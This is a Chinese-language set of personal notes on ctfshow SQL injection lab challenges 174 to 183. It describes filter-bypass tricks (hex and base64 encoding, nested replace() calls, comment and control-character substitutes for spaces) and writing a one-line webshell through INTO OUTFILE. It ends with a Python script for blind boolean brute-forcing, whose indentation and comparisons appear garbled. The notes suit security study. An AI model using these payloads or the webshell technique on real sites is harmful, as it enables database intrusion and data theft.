ctfshow sql注入笔记

用hex()/to_base64()绕过检测‘flag’

174.检测结果中的数字

先用select 1,2找到回显点,
再用replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(‘a1a2a3a4a5a6a7a8a9a0’,‘1’,‘!’),‘2’,‘@’),‘3’,‘#’),‘4’,‘$’),‘5’,‘%’),‘6’,‘^’),‘7’,‘&’),‘8’,‘*’),‘9’,‘(’),‘0’,‘)’)
把数字换成符号
且写在浏览器中会自动提交时截取一部分,需要抓包来提交这个长payload
175

174无效,换一个信道:通过语句 into outfile 把一句话木马写到一个新网页,然后就能成功连接蚁剑,获得数据库信息
注意:url编码问题->抓包后木马语句的符号有问题,需要用sql的from_base64 函数以及把内容编码才能成功

176(过滤开始)
怀疑过滤 flag 于是用 like ‘%lag’等等语句,失败
原来是过滤空格,用注释 /**/ 代替,同时部分空格可以用 ` 代替
同时,可以用%09~%0d(0a是换行,0d是回车)来代替空格,Ascii似乎包含于url

注意:测试的时候可以点测试,比如先看有没有基本的回显,再写payload,不然写了个寂寞
179
176语句失败,但是把空格换成1,显示语法错误,说明该语句进入了数据库,没有被过滤在外面
最后试了空格的代替品,发现%0c未被过滤

183
通过另一个信道获得flag,因为网页回显搜索的条数,所以可以把ctfshow格式这个信息用起来,通过回显的0和1不断试探,即通过暴力破解的方法。意识到很多方法和思路并不是单独存在的,可以结合起来。
脚本:
import requests
url = ‘http://217e2935-9623-45c0-9f2e-9dd6190d5d86.challenge.ctf.show/select-waf.php’
d = {‘tableName’:“ctfshow_userwherepasslike’ctfshow{”}

front = “ctfshow_userwherepasslike’ctfshow{”
s = ‘0123456789abcdef’
d[‘tableName’] = front+“%'”

for i in range(36):
if(i8 or i13 or i18 or i23):
front = front + ‘-’
d[‘tableName’] = front+“%'”
else:
for char in s:
print(front+char+‘%’)
d[‘tableName’] = front+ char + “%'”
r = requests.post(url, data=d)
index = r.text.find("$user_count = ")
if(r.text[index+14]==‘1’):
front = front+char

            break

print(front+char+‘%’)

你可能感兴趣的:(web安全,sql)